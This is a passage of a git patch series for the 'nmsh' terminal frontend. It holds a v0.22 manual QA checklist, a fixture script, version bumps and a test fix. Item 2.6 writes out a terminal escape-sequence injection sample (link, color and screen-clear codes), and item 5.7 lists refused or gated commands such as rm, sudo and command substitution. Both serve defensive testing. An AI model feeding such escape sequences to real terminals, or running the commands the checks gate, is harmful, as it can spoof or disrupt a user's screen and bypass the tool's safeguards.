screenshot helps. Each result is recorded in the table with the build commit. A skipped item +is *Not run*. + +### Sitting A: Ghostty, zsh (passes 1–13, about 85 minutes) + +Passes 1–7 are v0.21's, unchanged: + +1. **Progress.** 1.1 as listed, then at 40 columns. 1.2 `node progress/multirow.mjs`: two `layer` rows count up in + place; `LOG pulling two layers`, `LOG checkpoint 1`–`4` and `LOG done` all stay, in order. 1.3 `node + progress/multirow.mjs 120` (30 s) while you resize. 1.4 `/copy`, then `pbpaste`: the final rows once. 1.5 as listed. + 1.5a at 40 columns `node progress/wrapped.mjs`: both `LOG kept line` lines and `LOG done` stay, with one `Downloading + … 100%` and one `eta 0s`. 1.6 `vim view/tabs.txt`, `less view/README.md`, `top` (htop is not installed). 1.7 `sleep + 5`, then `ls` Ctrl+Q and `pwd` Ctrl+Q while it runs. +2. **`/view`.** 2.1 `/view view/README.md`. 2.2 `/view view/ViewerPanel.ts`. 2.3 in either. 2.4 as listed. 2.5 `/view + view/tabs.txt`, `c`, Esc, `pbpaste | cat -vet`: `^I` between columns, `$` only at line ends. 2.6 `/view + view/hostile.txt`. 2.7 `/view view/folder`, `view/missing.txt`, `/dev/zero`, `view/fifo` (returns at once), + `/bin/ls`, `view/big.log` (20 MB: the first 8 MiB with a note). 2.8 as listed, with `node progress/multirow.mjs 120` + running. 2.9 in step 14. +3. **`/edit`.** 3.1 `cd edit/empty`, then as listed, with `cat -vet notes.txt` (macOS `cat` has no `-A`): `^I` and a + final `$`. 3.2–3.4 on that file. 3.5 second tab: `echo x >> /Volumes/T7Tmp/ai-dev/q22/work/edit/empty/notes.txt`. + `cd ../..`. 3.6 `/edit edit/crlf-bom.txt`, change a word, save; `xxd edit/crlf-bom.txt | head -1` starts `efbb bf` + and lines end `0d0a`. `/edit edit/mode640.txt`, save, `ls -l edit/mode640.txt` is `-rw-r-----`. `/edit + edit/link.txt`, save, `ls -l edit/link.txt` still points to `target.txt`. 3.7 `/edit /bin/ls`, `/etc/hosts`, + `edit/big.txt` (2 MB), `edit/readonly.txt`, then `/view` each. 3.8 with `view/README.md` and `edit/target.txt`. + 3.9 `/edit edit/alias/new.txt` (`alias` links to `real`). +4. **Semantic Output.** 4.1 `cd semantic/pass && npm test` (40 passing tests stand in for a large suite). 4.2 `cd + ../fail && npm test` (2 failing). 4.3 `cd ../ts && npx --no-install tsc --noEmit bad.ts` (2 errors); `cd ../c && + make` (1 error). 4.4 `cd ../../git && git status`, `ls`, `cat tracked.txt`. 4.5 `cd ../semantic/fail && npm test`, + then as listed, with `pbpaste` after each copy. 4.6 as listed. 4.7 in step 14. `cd ../..` when done. +5. **`/track`.** 5.1 `/track df -h`; `/track --every 5s -- docker system df` is optional (read-only, but it asks your + Docker daemon every 5 s). 5.2 `/track --every 2s -- cat track/f.txt`; second tab: `seq 1 2 > + /Volumes/T7Tmp/ai-dev/q22/work/track/f.txt`, then `seq 1 40 > …`. 5.3–5.7 as listed (5.7's `/tmp/t` commands are + refused and never run; answer No to the ones that ask). 5.8 `/track --every 3s -- sh -c 'sleep 2; echo QA-TRACK'` + (Yes), close the window while it runs, then in a new window `pgrep -fl QA-TRACK` prints nothing. 5.9 and 5.10 as + listed. 5.11 in step 14. +6. **Modules.** 6.1 `cd modules/bun-app`, `/modules`: Bun is recommended; enabled, typing `bun` shows `1.1.30` + requested (Bun is not installed, so nothing active). 6.2 Not run (no Nix). 6.3 on this Mac the container module shows + nothing; the in-container half is Not run. 6.4 and 6.5 as listed. `cd ../..`. +7. **Themes.** 7.1–7.3 as listed. 7.4 in step 14. 7.5 second tab, before and after switching themes: `shasum + "$HOME/Library/Application Support/com.mitchellh.ghostty/config"*`: unchanged. Older configuration: `exit`, then in + a plain window `mkdir -p /Volumes/T7Tmp/ai-dev/q22/config-copy/nmsh && cp "$HOME/Library/Application + Support/notMyShell/config.json" /Volumes/T7Tmp/ai-dev/q22/config-copy/nmsh/` and `/Volumes/T7Tmp/ai-dev/q22/nmsh + copy`: the theme and prompt saved by your v0.20 install load unchanged (only the copy can change). `exit` and + relaunch `/Volumes/T7Tmp/ai-dev/q22/nmsh` for the rest. + +Passes 8–13 are v0.22's: + +8. **History.** 8.1–8.6 as listed. +9. **Passwords and replies.** 9.1–9.11 as listed, from `q22/work`; 9.5 needs a second window with a heavy job. +10. **Prompt hooks and Ctrl+C.** 10.1–10.3 as listed. +11. **Editors.** 11.1–11.4 as listed (with `EDITOR` set as usual). Then `exit` and relaunch as + `/Volumes/T7Tmp/ai-dev/q22/nmsh-noeditor` for 11.5 and 11.8–11.10. 11.6 and 11.11 are in the Zed sitting. +12. **Ask.** 12.1–12.6 as listed (the model takes about 1 GB of memory while it runs; `/llm` can stop it). +13. **Session lifecycle.** 13.1–13.3 as listed. +14. **No color and Safe glyphs** (2.9, 4.7, 5.11, 7.4). `exit`, relaunch as `NO_COLOR=1 /Volumes/T7Tmp/ai-dev/q22/nmsh`, + Settings → Appearance → Safe glyphs, then 2.9 on `view/README.md`, 4.7 with `cd semantic/fail && npm test` at 40 + columns (`cd ../..` after), 5.11 with `/track df -h`, and 8.1 (the History position stays readable). Then 7.4's + second half: `exit`, relaunch as `env -u COLORTERM TERM=xterm-256color /Volumes/T7Tmp/ai-dev/q22/nmsh` and switch + between two new themes. + +### Sitting B: Terminal.app, Fish (passes 1, 3, 5, 8, 9 and 10, about 35 minutes) + +`/Volumes/T7Tmp/ai-dev/q22/nmsh fish`, then 1.1–1.7 (not 1.5b), 3.1–3.9, 5.1–5.10, 8.1–8.6, 9.1–9.7 (Fish forms are +given) and 10.1–10.3 as in sitting A, and 5.11 with `NO_COLOR=1 /Volumes/T7Tmp/ai-dev/q22/nmsh fish` as in step 14. +Terminal.app is a 256-color terminal: note anything that reads differently from Ghostty. + +### Sitting C: Terminal.app, zsh then Bash (passes 2, 7, 9 and 10, about 30 minutes) + +`/Volumes/T7Tmp/ai-dev/q22/nmsh`, then 2.1–2.8 and 7.1–7.5 as in sitting A, and 2.9 and 7.4 as in step 14. Then `exit`, +`/Volumes/T7Tmp/ai-dev/q22/nmsh bash`, 9.1–9.11 (in 9.11 use `history | tail -10`) and 10.1–10.3. + +### Zed (about 15 minutes) + +In Zed's terminal: `/Volumes/T7Tmp/ai-dev/q22/nmsh`, then 11.6 and 11.11 (the 11 row: Zed opens the file itself). The +rest is supplementary coverage, not a release gate (the Z row): 1.2, 2.1 and 2.3 (wheel scrolling), 3.1–3.2 (note any +key Zed keeps for itself, such as Cmd+Shift+arrows), 5.1 and `/track stop`, 8.1, and one theme switch. + +When every result is recorded: `rm -rf /Volumes/T7Tmp/ai-dev/q22`. + +## 1. Multi-row progress redraws (#388) + +- [ ] 1.1 `node -e 'for (let i=0;i<=10;i++){process.stdout.write((i?"\x1b[1A\x1b[2K":"")+"Downloading "+i*10+"%\n")}'` + leaves one `Downloading 100%` line, at 80 columns and at 40 columns. +- [ ] 1.2 A two-row display (for example `docker pull` of a multi-layer image, or `brew install` of a formula with + concurrent downloads) updates its rows in place; log lines printed between frames all stay. Record the command. +- [ ] 1.3 Resize the window narrower and wider while 1.2 runs: no earlier command, prompt or NMSh notice is erased. +- [ ] 1.4 `/copy` of that block copies the final rows once, not every frame. +- [ ] 1.5 `printf '10%%\r20%%\r100%%\n'` still shows one `100%` line; `clear` still clears. +- [ ] 1.5a At 40 columns, a progress display whose line is wider than the window (for example `pip install` of a + large wheel, `cargo build` of a crate with a long name, or the wrapped-row fixture in `tests/ansiLiveRegion.test.ts`) + redraws in place and every log line printed before it stays. +- [ ] 1.5b On Linux, `sudo apt install <small package>` (fancy progress on): the transcript keeps the dpkg log lines and + contains no `Progress: [ nn%]` fragments. +- [ ] 1.6 `vim`, `less` and `htop` still take the full screen and return to the composer. +- [ ] 1.7 Queue two quick commands (`ls` then `pwd`) with Ctrl+Q while a short command runs: both stored command + lines end with the known-command color (#408). + +## 2. Native viewer (`/view`, View output) + +- [ ] 2.1 `/view README.md` in the NMSh checkout: Markdown is rendered (headings, lists, code, tables); `m` shows the + source with line numbers; `m` again returns. +- [ ] 2.2 `/view src/viewer/ViewerPanel.ts`: syntax colors, line numbers, `w` turns wrapping off and Left/Right scroll + sideways with `‹`/`›` marks, `l` hides numbers. +- [ ] 2.3 `/` finds text (lowercase ignores case), `n`/`N` step and wrap with a note, `:` + number goes to a line, + `G`/`g` end and start, PageUp/PageDown, mouse wheel scrolls. +- [ ] 2.4 Run `seq 1 5000`, then `/view` (latest output) and Actions → View output on that block; `/view 2` opens the + previous output. The transcript is unchanged after closing. +- [ ] 2.5 `c` copies the whole document; the clipboard has the exact text (tabs kept), and nothing else. +- [ ] 2.6 Hostile content: `printf '\033]8;;https://example.com\a\033[31mred\033[2J\n' > /tmp/h.txt && /view /tmp/h.txt` + shows `␛` marks, no color change, no link, no screen clear. +- [ ] 2.7 Refusals say why: a directory, a missing file, `/dev/zero`, a FIFO (`mkfifo /tmp/f && /view /tmp/f` returns + at once), a binary (`/view /bin/ls`), a 20 MB log (shows the first 8 MiB with a note). +- [ ] 2.8 Esc closes, the composer draft and cursor are where they were, and a running command's output kept + arriving underneath. At 32×10 the viewer still fits and Esc is shown. +- [ ] 2.9 `NO_COLOR=1` and Safe glyphs: matches and the current match are still visible (reverse video). + +## 3. Native editor (`/edit`) + +- [ ] 3.1 `/edit notes.txt` in an empty folder: it says *new file*; type two lines with Enter and a Tab, Ctrl+S says + *Saved*, Esc returns to the composer, `cat -A notes.txt` shows the tab and a final newline. +- [ ] 3.2 Shift+arrows, Shift+Alt+arrows and Cmd+Shift+arrows select; typing replaces the selection; Ctrl+C copies + and Ctrl+X cuts it (paste it back with the terminal's paste); Ctrl+Z undoes a typed word in one step, Ctrl+Y redoes. +- [ ] 3.3 Ctrl+F finds (lowercase ignores case), Enter again finds the next match. +- [ ] 3.4 Edit, then Esc: the question offers Save, Discard changes and Keep editing; each does what it says. +- [ ] 3.5 Conflict: `/edit notes.txt`, change it from another terminal (`echo x >> notes.txt`), then Ctrl+S: nothing is + written until you choose; Overwrite writes yours, Reload shows theirs. +- [ ] 3.6 A CRLF file with a BOM keeps both after saving (`xxd file | head -1`); `chmod 640` survives a save; editing + through a symlink keeps the symlink. +- [ ] 3.7 Refusals: a binary (`/edit /bin/ls`), a root-owned file (`/edit /etc/hosts`), a 2 MB file, a read-only file + (`chmod 444`) each explain why, and `/view` still opens them. +- [ ] 3.8 `e` in `/view README.md` opens the editor on the same file; `vim notes.txt` and `nano notes.txt` still run as + usual from the composer. +- [ ] 3.9 A new file in a folder reached through a symlink (macOS `/tmp`, or `alias -> real`): `/edit alias/new.txt`, + type a line, Ctrl+S, type another, Ctrl+S: *Saved* both times and no conflict question (#425); `real/new.txt` has + both lines. + +## 4. Semantic Output + +- [ ] 4.1 `npm test` in the NMSh checkout (long, passing): one overview row under the command (`✔ node --test · … passed · + 0 failed …`) above the folded output; nothing else changed; the lifecycle row appears once. +- [ ] 4.2 A failing run (break one test): the overview says how many failed and a details row lists the failing tests; + details are open when the output is folded, closed when it is expanded; clicking the row and Actions → Show or hide + details toggle it; Ctrl+O still folds only the raw output. +- [ ] 4.3 `npx tsc --noEmit` with an error, `cargo build` with an error, `make` of a C file with an error: a + diagnostics overview with `file:line:col` items. +- [ ] 4.4 `git status`, `ls`, `cat README.md`: no overview. +- [ ] 4.5 `/copy --semantic` and `/copy --both` on the failing run (paste into an editor); `/copy latest` is the raw + output only; find (Ctrl+F) never matches the overview text. +- [ ] 4.6 Settings → Transcript → Semantic Output Off: the rows disappear from every block; On brings them back. +- [ ] 4.7 `NO_COLOR=1` and Safe glyphs: the overview reads `+`/`x` and stays readable at 40 columns. + +## 5. `/track` + +- [ ] 5.1 `/track df -h` and (where Docker runs) `/track --every 5s -- docker system df`: one block, a status row and the + result; it updates in place every interval while you run other commands; scrolling up and selecting text in other + blocks is never disturbed. +- [ ] 5.2 Make the result shorter and longer (`/track --every 2s -- cat f.txt` while editing `f.txt`): shorter results + do not move what is below; longer ones say how many lines are not shown. +- [ ] 5.3 `/track refresh` twice quickly: the second is refused, never overlapped. `/track pause`, `/track resume`. +- [ ] 5.4 A failing command (`/track --every 2s -- ls missing`): the status shows the exit code, never a healthy result. +- [ ] 5.5 `/track copy` copies only the latest result; find (Ctrl+F) never matches the live rows. +- [ ] 5.6 `/track stop`: the last result appears once in the transcript; `/resume` of the saved session shows it + without any per-refresh copies. +- [ ] 5.7 An unknown command asks for Yes first ("Track …?"); `rm`, `sudo`, `cd`, `$(...)`, `&` and heredocs are + refused. Also refused: `/track echo x > /tmp/t 2>/dev/null`, `/track git log --output=/tmp/t`, `/track npx jest -u`. + Asks first: `/track env ls`, `/track curl -X POST http://localhost:1/`, `/track npm publish`, `/track ssh localhost + true`. Starts at once: `/track npm test 2>&1`, `/track curl -s http://localhost:1/` (fails, shows the exit code). +- [ ] 5.8 Close the window with a tracker running: no `sh` or command processes are left (`ps`). `/watch git status` + still opens its manager. +- [ ] 5.9 Four trackers at once (`ls`, `df -h`, `cat f.txt`, a failing one): each block refreshes on its own, the + composer area shows one `4 trackers · 1 failing` row, narrowing the window to 60 columns and back keeps every block + readable, and `/track stop all` leaves each last result once. +- [ ] 5.10 `/track --every 2s -- sh -c 'trap "" TERM; exec >/dev/null 2>&1; exec sleep 300'` (Yes), then `/track stop`: + within 3 seconds `pgrep -f "sleep 300"` finds nothing. +- [ ] 5.11 Safe glyphs (Settings → Appearance) and `NO_COLOR=1`: the status marks are ASCII (`*`, `=`, `#`) and the + status still says live, paused or stopped in words. + +## 6. Native modules and diagnostics + +- [ ] 6.1 In a folder with `bun.lock` and `"packageManager": "bun@1.1.30"`, `/modules` recommends Bun; enabled, typing + `bun` shows its version (requested, and active when installed through Homebrew). +- [ ] 6.2 `nix-shell -p hello` (or `nix develop`) with the Nix shell module enabled: it shows `impure`; it disappears + after `exit`. +- [ ] 6.3 In a Docker or Podman container (or a Codespace), the container module names it; on the host it shows nothing. +- [ ] 6.4 `/modules explain` lists every configured module with its surface and reason; `/modules timings` lists the + slowest collections; neither changes what is collected (the Status Strip CPU stays as it was). +- [ ] 6.5 Route three modules to the Context Rail (Modules → Surface), narrow the window until one disappears, then run + `/modules explain`: that module says "left out for width in the last frame"; widen the window and run it again: the + note is gone. The same with the Status Strip. + +## 7. Theme families + +- [ ] 7.1 `/theme`: the Built-in list shows Ayu, Kanagawa, Everforest, Flexoki and Night Owl; `/` then `kanagawa` leaves + three; `/` then `light` leaves the light variants; Esc clears the filter, Esc again closes. +- [ ] 7.2 Activate each new variant on a dark terminal: prompt fills, branch, status, selection band and transcript + chrome are readable; module text stays readable on every fill. +- [ ] 7.3 Activate the light variants (Ayu Light, Kanagawa Lotus, Everforest Light, Flexoki Light, Light Owl) on a light + and on a dark terminal: accents and rules change, NMSh's text tiers stay readable. +- [ ] 7.4 `NO_COLOR=1` and a 256-color terminal (`TERM=xterm-256color`, no `COLORTERM`): nothing breaks. +- [ ] 7.5 Switching themes never changes Ghostty's or Terminal.app's own colors or configuration files; a config saved + with an older theme id still loads that theme. + +## 8. History browsing (#389) Run a multi-line command (Ctrl+J between lines, for example `echo one` Ctrl+J `echo two`) and a few one-line ones. -4.1 From an empty composer, Up recalls the newest; each further Up moves one command, passing the multi-line one in one -press; Down comes back the same way; Down past the newest restores what you had typed. -4.2 Recall the multi-line command, press Left (or type a character), then Up: the caret moves within it. -4.3 Narrow window (about 46 columns) with a long one-line command: one press per entry. -4.4 (#441) While stepping, the bottom composer rule shows `History 1/N` for the newest, counting up as you go back. It -disappears when you type, move the caret or go past the newest. No row is added and nothing moves. -4.5 (#441) With `/keep-awake display` running, Keep Awake keeps its place; the label is on the other rule or not shown. -In a window of about 30 columns, and with Settings → Composer dividers Off, no label appears and nothing wraps. -4.6 (#441) Light and dark themes: the label is readable. - -### Pass 5: terminal editor choice (#366) - -Launch with `VISUAL` and `EDITOR` unset: `env -u VISUAL -u EDITOR /Volumes/T7Tmp/ai-dev/q22/nmsh`. - -5.1 `/open README.md:3` explains that no editor is set and names the terminal editors installed here. -5.2 Settings → Sessions → Terminal editor (also Setup → Sessions & alerts → Terminal editor): installed editors are -marked; the highlighted one previews the exact command. Choosing one that is not installed is refused, and nothing is -installed. Choose one that is installed. -5.3 `/open README.md:3:2` puts its command in the composer at the right line (and column where the editor supports -it); nothing runs until Enter. Quitting the editor returns to NMSh. -5.4 In `/view README.md`, `o` uses the chosen editor (once #434 and #439 are both in the build under test). -5.5 Inside Zed's or VS Code's integrated terminal, the surrounding editor still wins. - -### Pass 6: Ask command suggestions (#432) - -Needs a local model set up in `/llm`. - -6.1 With Settings → Ask → Command suggestions Off (the default), `/btw convert every png here to webp` behaves as -before: no model is asked. -6.2 Set Command suggestions to Local model (Settings, or Setup → Ask & local understanding). The same request shows -one suggested command with `NMSh's check: …` first, then the model's words in quotes with its name. There is Copy and -Insert, never Run. -6.3 Insert puts the command in the composer, unsent; Enter runs it. Copy runs nothing. -6.4 `/btw delete all my files` stays a refusal; no suggestion is offered. -6.5 With local understanding Off in `/llm`, the suggestion attempt says how to turn it on. Ask's own suggestions are -still offered. -6.6 Activity Monitor: no new long-lived process appears beyond the shared model service while suggestions are on. - -**Reporting.** One line per pass, for example `Pass 1 · Ghostty 1.3.1 · zsh 5.9: PASS (note seen once, ~1 s)`. +- [ ] 8.1 From an empty composer, Up recalls the newest; each further Up moves one command, passing the multi-line one in + one press; Down comes back the same way; Down past the newest restores what you had typed. +- [ ] 8.2 Recall the multi-line command, press Left (or type a character), then Up: the caret moves within it. +- [ ] 8.3 Narrow window (about 46 columns) with a long one-line command: one press per entry. +- [ ] 8.4 While stepping, the bottom composer rule shows `History 1/N` for the newest, counting up as you go back. It + disappears when you type, move the caret or go past the newest. No row is added and nothing moves. +- [ ] 8.5 With `/awake` on, Keep Awake keeps its place; the label is on the other rule or not shown. In a window of about + 30 columns, and with Settings → Composer dividers Off, no label appears and nothing wraps. +- [ ] 8.6 Light and dark themes: the label is readable. Up while a command runs recalls into the composer for the next + command, never into the running program. + +## 9. Passwords and replies while a command runs (#426) + +Replies are made-up words, never a real password (except 9.7, which is your own `sudo`). Fish forms: `read reply` for +`read -r reply`, `read --silent reply` for `read -s`. + +- [ ] 9.1 `read -r reply; echo got=$reply`. Type `hello` and Enter **at once**, without waiting: `got=hello`, the status + row never shows `queued`. +- [ ] 9.2 The same after a two-second pause: same result. +- [ ] 9.3 `read -rs reply` (no prompt). Type `QSECRETQ` and Enter at once: the text never appears anywhere on screen + and nothing is queued. +- [ ] 9.4 `sleep 5`, then type `echo next` and Enter at once: it is queued (`≡ 1 queued`) and runs after `sleep`. +- [ ] 9.5 Load: in a second window run something heavy (a large build or test suite, or several at once), then repeat 9.1 + and 9.3 a few times. The composer may briefly say `Checking whether … is waiting for input · your typing is kept`; + either way the answer reaches the read and nothing is shown or queued. Ctrl+C right after typing during that note + interrupts the command and discards the held typing. If NMSh still cannot tell after about five seconds, the row says + `Can't tell whether … is reading your typing · held, not shown` and the composer offers `Ctrl+S sends it to … · Tab + shows it · Esc discards it`: Ctrl+S sends it to the program, Tab shows it unsent, Esc discards it; nothing held runs + as a shell command without one of these. Note whether the notes appeared (not expected on a lightly loaded machine). +- [ ] 9.6 `sh input/prompted.sh`: `QA password:` shows, typing shows nothing, Enter prints `got N characters`. Type + `echo after` and Enter at once: it runs once as the next command (or, if the composer says `… held, not run · Tab + shows it · Esc discards it`, Tab shows it and Enter runs it once). +- [ ] 9.7 `sudo -k true`: the password never appears on screen or in the queue; a wrong password and the retry behave + the same. Ctrl+C at the password prompt returns to the composer with nothing queued. +- [ ] 9.8 (zsh, Bash) `bash input/two-passwords.sh`: type `X` and Enter as soon as it starts (no prompt is shown); while + it waits 3 s, type a second word and Enter before NMSh says it is waiting again. That word is shown and queued (NMSh + could not know); when the second read starts, a note says the command queued while it ran waits for your approval. + Type the second word again and Enter: `lengths …` prints and the queued entry does not run. Delete it in `/queue`. +- [ ] 9.9 (zsh, Bash) `bash input/second-gives-up.sh`: type `X`, Enter, and at once a second word and Enter. Whatever the + timing, the second word is never shown, queued or run: the second read takes it (`lengths 1/…`), or a note says it + was discarded, not run, or the composer says `Typed during bash's hidden input · held, not run · Tab shows it · Esc + discards it` (Esc discards it with a note; Tab would show it in the composer, unsent). +- [ ] 9.10 `sh input/plain-read.sh`: type `hello` and Enter at once: `reply was hello`, nothing queued. +- [ ] 9.11 Afterwards, `fc -ln -15` (Bash: `history | tail -15`; Fish: `history | head -15`): no word typed as a reply + appears, only the commands you ran. + +## 10. Prompt hooks and Ctrl+C (#436) + +- [ ] 10.1 `sleep 30`, press Ctrl+C, then **at once** type `echo after` and Enter: `after` is printed exactly once, as its + own command. Nothing is queued forever and nothing is taken as an answer. +- [ ] 10.2 A program that asks just before it is interrupted: `read -r x` (Fish: `read x`), Ctrl+C, then at once `echo + after` Enter: same result. +- [ ] 10.3 A slow prompt hook, for this session only. zsh: `source input/slow-hook.zsh`. Bash 5.1+: `source + input/slow-hook.bash`. Fish: `function qa_slow --on-event fish_prompt; sleep 2; end`. Then run `true` and, while the + next prompt is still coming, type `echo after` and Enter: it runs once, whole (never `cho after` or `command not + found`), after the hook, and is never shown as an answer to a waiting program. Repeat a few times, also under load (as + in 9.5). Undo the hook as its file says (Fish: `functions -e qa_slow`). + +## 11. Editors (#366) + +`view/notes.txt` has 400 lines. + +- [ ] 11.1 With `EDITOR=nvim` (or `vim`) set as usual: `/view view/notes.txt`, `:200` Enter, `o`. The viewer closes and + the composer holds `nvim +200 /…/notes.txt` (nothing runs). Enter opens the editor at line 200; quitting it returns + to NMSh's composer. +- [ ] 11.2 While a command runs: `sleep 20`, then `/view view/notes.txt`, `o`. The editor command is placed in the + composer; Enter queues it (`≡ 1 queued`) and the editor opens after `sleep` ends. +- [ ] 11.3 A name with spaces: `printf 'x\n' > 'my notes.txt'`, `/view my notes.txt` (the rest of the line is the path, + no quotes), `o`: the composer command quotes the path as one argument. +- [ ] 11.4 Markdown: `/view view/README.md` (rendered), `o` opens at the start; after `m` (source) it opens at the line + shown. In a window of about 46 columns the footer wraps and `Esc close` stays visible. +- [ ] 11.5 With `VISUAL` and `EDITOR` unset (`nmsh-noeditor`), outside any editor: `o` says no editor is known and how to + set one, and `/open view/notes.txt:3` names the terminal editors installed here. +- [ ] 11.6 Inside Zed's or VS Code's integrated terminal: `o` opens the file at the line in that editor; the viewer stays. +- 11.7 Not a physical item: a draft already in the composer is never replaced by `o`, but opening `/view` empties the + composer, so only the automated tests reach that case. +- [ ] 11.8 (`nmsh-noeditor`) Settings → Sessions → Terminal editor (also Setup → Sessions & alerts → Terminal editor): + Neovim, Helix, Micro, Vim, nano, Emacs and Kakoune, with the installed ones marked; the highlighted one previews the + exact command. Choosing one that is not installed is refused, and nothing is installed. Choose one that is installed. +- [ ] 11.9 (`nmsh-noeditor`) `/open view/notes.txt:3:2` puts its command in the composer at the right line (and column + where the editor supports it); nothing runs until Enter. Quitting the editor returns to NMSh. +- [ ] 11.10 (`nmsh-noeditor`) In `/view view/notes.txt`, `o` uses the chosen editor. +- [ ] 11.11 Inside Zed's or VS Code's integrated terminal, the surrounding editor still wins over the chosen one. + +## 12. Ask command suggestions (#432) + +Needs a local model in `/llm` (the QA configuration starts without one; `~/.local/share/nmsh/models` already holds one). + +- [ ] 12.1 With Settings → Ask → Command suggestions Off (the default), `/btw convert every png here to webp` behaves as + before: no model is asked. +- [ ] 12.2 Set Command suggestions to Local model (Settings, or Setup → Ask & local understanding). The same request + shows one suggested command with `NMSh's check: …` first, then the model's words in quotes with its name. There is + Copy and Insert, never Run. +- [ ] 12.3 Insert puts the command in the composer, unsent; Enter runs it. Copy runs nothing. +- [ ] 12.4 `/btw delete all my files` stays a refusal; no suggestion is offered. +- [ ] 12.5 With local understanding Off in `/llm`, the suggestion attempt says how to turn it on. Ask's own suggestions + are still offered. +- [ ] 12.6 Activity Monitor: no new long-lived process appears beyond the shared model service while suggestions are on. + +## 13. Session lifecycle + +- [ ] 13.1 Run `sleep 60`, close the window, and launch the QA build again: it offers the detached session; R resumes it + with `sleep` still running and its block intact; Ctrl+C ends it. +- [ ] 13.2 With `/track --every 2s -- sh -c 'echo QA-LIFE'` running (Yes), `exit`: in a plain window `pgrep -fl QA-LIFE` + prints nothing. +- [ ] 13.3 Two windows on two sessions of the QA build: typing, queues and held input in one never appear in the other. diff --git a/package-lock.json b/package-lock.json index fcf095eb..fb221671 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "nmsh", - "version": "0.20.0", + "version": "0.22.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "nmsh", - "version": "0.20.0", + "version": "0.22.0", "hasInstallScript": true, "license": "GPL-3.0-only", "dependencies": { diff --git a/package.json b/package.json index 24d47269..52c865a4 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "nmsh", - "version": "0.20.0", + "version": "0.22.0", "description": "A cleaner terminal frontend for zsh with persistent input, autocomplete, semantic highlighting, scrollable history, and better command feedback.", "private": true, "main": "dist/index.js", diff --git a/scripts/qa/v022-fixtures.sh b/scripts/qa/v022-fixtures.sh new file mode 100755 index 00000000..107d58eb --- /dev/null +++ b/scripts/qa/v022-fixtures.sh @@ -0,0 +1,72 @@ +#!/usr/bin/env bash +# Fixtures for the v0.22 physical QA walkthrough (docs/testing/v022-physical-qa.md). +# +# scripts/qa/v022-fixtures.sh <new-directory> +# +# Everything the v0.21 fixtures make (scripts/qa/v021-fixtures.sh: a launcher with its own NMSh configuration and +# session service, and the files for passes 1-7), plus the small scripts for the v0.22 passes: password and prompt-hook +# scenarios, and a launcher without VISUAL and EDITOR for the terminal editor choice. Nothing outside the directory is +# changed, nothing is downloaded or installed, and nothing runs as root. Delete the directory once results are recorded. +set -euo pipefail + +target=${1:-} +if [ -z "$target" ]; then echo 'usage: scripts/qa/v022-fixtures.sh <new-directory>' >&2; exit 2; fi +here=$(cd "$(dirname "$0")" && pwd -P) +"$here/v021-fixtures.sh" "$target" >/dev/null +root=$(cd "$target" && pwd -P) +work="$root/work" + +# The same build and configuration with VISUAL and EDITOR unset (pass 11: Settings → Terminal editor). +cat > "$root/nmsh-noeditor" <<EOF +#!/usr/bin/env bash +# ./nmsh-noeditor [zsh|bash|fish]: the QA launcher with VISUAL and EDITOR unset for NMSh itself. +exec env -u VISUAL -u EDITOR "$root/nmsh" "\$@" +EOF +chmod +x "$root/nmsh-noeditor" + +# 9. Passwords and replies (#426) -------------------------------------------------------------------------------- +mkdir -p "$work/input" +cat > "$work/input/prompted.sh" <<'EOF' +#!/bin/sh +# A prompted hidden read, then the reply's length (never the reply). +printf 'QA password: ' +stty -echo; IFS= read -r secret; stty echo; printf '\n' +printf 'got %s characters\n' "${#secret}" +EOF +cat > "$work/input/two-passwords.sh" <<'EOF' +#!/usr/bin/env bash +# Two hidden reads with no prompt, three seconds of work between them. +read -rs first; sleep 3; read -rs second +printf 'lengths %s/%s\n' "${#first}" "${#second}" +EOF +cat > "$work/input/second-gives-up.sh" <<'EOF' +#!/usr/bin/env bash +# A hidden read with no prompt, then a second that gives up after 2 seconds. +read -rs first; read -rs -t 2 second || true +printf 'lengths %s/%s\n' "${#first}" "${#second}" +EOF +cat > "$work/input/plain-read.sh" <<'EOF' +#!/bin/sh +# A line read with no prompt. +read -r reply; printf 'reply was %s\n' "$reply" +EOF +chmod +x "$work/input/"*.sh + +# 10. Prompt hooks (#436): source it in a session to make that session's prompt hook take 2 seconds. +cat > "$work/input/slow-hook.zsh" <<'EOF' +# zsh: `source input/slow-hook.zsh` in this session only; `precmd_functions=(${precmd_functions:#qa_slow_hook})` undoes it. +qa_slow_hook() { sleep 2 } +precmd_functions+=(qa_slow_hook) +EOF +cat > "$work/input/slow-hook.bash" <<'EOF' +# Bash 5.1+: `source input/slow-hook.bash` in this session only, after NMSh's own hook; `unset -f qa_slow_hook` and +# start a new session to undo it. +qa_slow_hook() { sleep 2; } +PROMPT_COMMAND+=(qa_slow_hook) +EOF + +# 11. Editors (#366): a long file to open at a line from /view. +seq -f 'notes line %g' 1 400 > "$work/view/notes.txt" + +echo "QA fixtures ready in $root" +echo "Start the QA build with: $root/nmsh (or: $root/nmsh fish, $root/nmsh bash, $root/nmsh-noeditor)" From b57bb681bcd0a879b6c50f8e12a61286323fdf30 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 14:05:13 +0530 Subject: [PATCH 078/157] History n/N test: start NMSh in a fixed directory, so the checkout path never wraps the frame The one-line prompt shows the directory NMSh started in. From a checkout whose path is long and not abbreviated (seen at .../notMyShell/v022-release), the recalled command wrapped onto a second row at 80 columns and the test read only the first. The product is unchanged; the frames now start in /. --- tests/historyPosition.test.ts | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/tests/historyPosition.test.ts b/tests/historyPosition.test.ts index a4531461..8c8ac0d7 100644 --- a/tests/historyPosition.test.ts +++ b/tests/historyPosition.test.ts @@ -31,7 +31,12 @@ interface Scene { interface Frame { rows: string[]; plain: string[]; plan: ScreenPlan; cursorRow: number; cursorColumn: number } function frame(scene: Scene = {}): Frame { - const app = new TerminalApp() as any; + // The one-line prompt shows the directory NMSh started in: a fixed one, so a long checkout path never wraps the + // recalled command onto a second row and changes what these frames compare. + const started = process.cwd(); + process.chdir('/'); + let app: any; + try { app = new TerminalApp(); } finally { process.chdir(started); } const columns = scene.columns ?? 80; try { Object.defineProperty(app, 'dimensions', {value: () => ({columns, rows: 20})}); From 6ebf383209d4f4cfb6fde2710d7d5f4dd6133528 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: 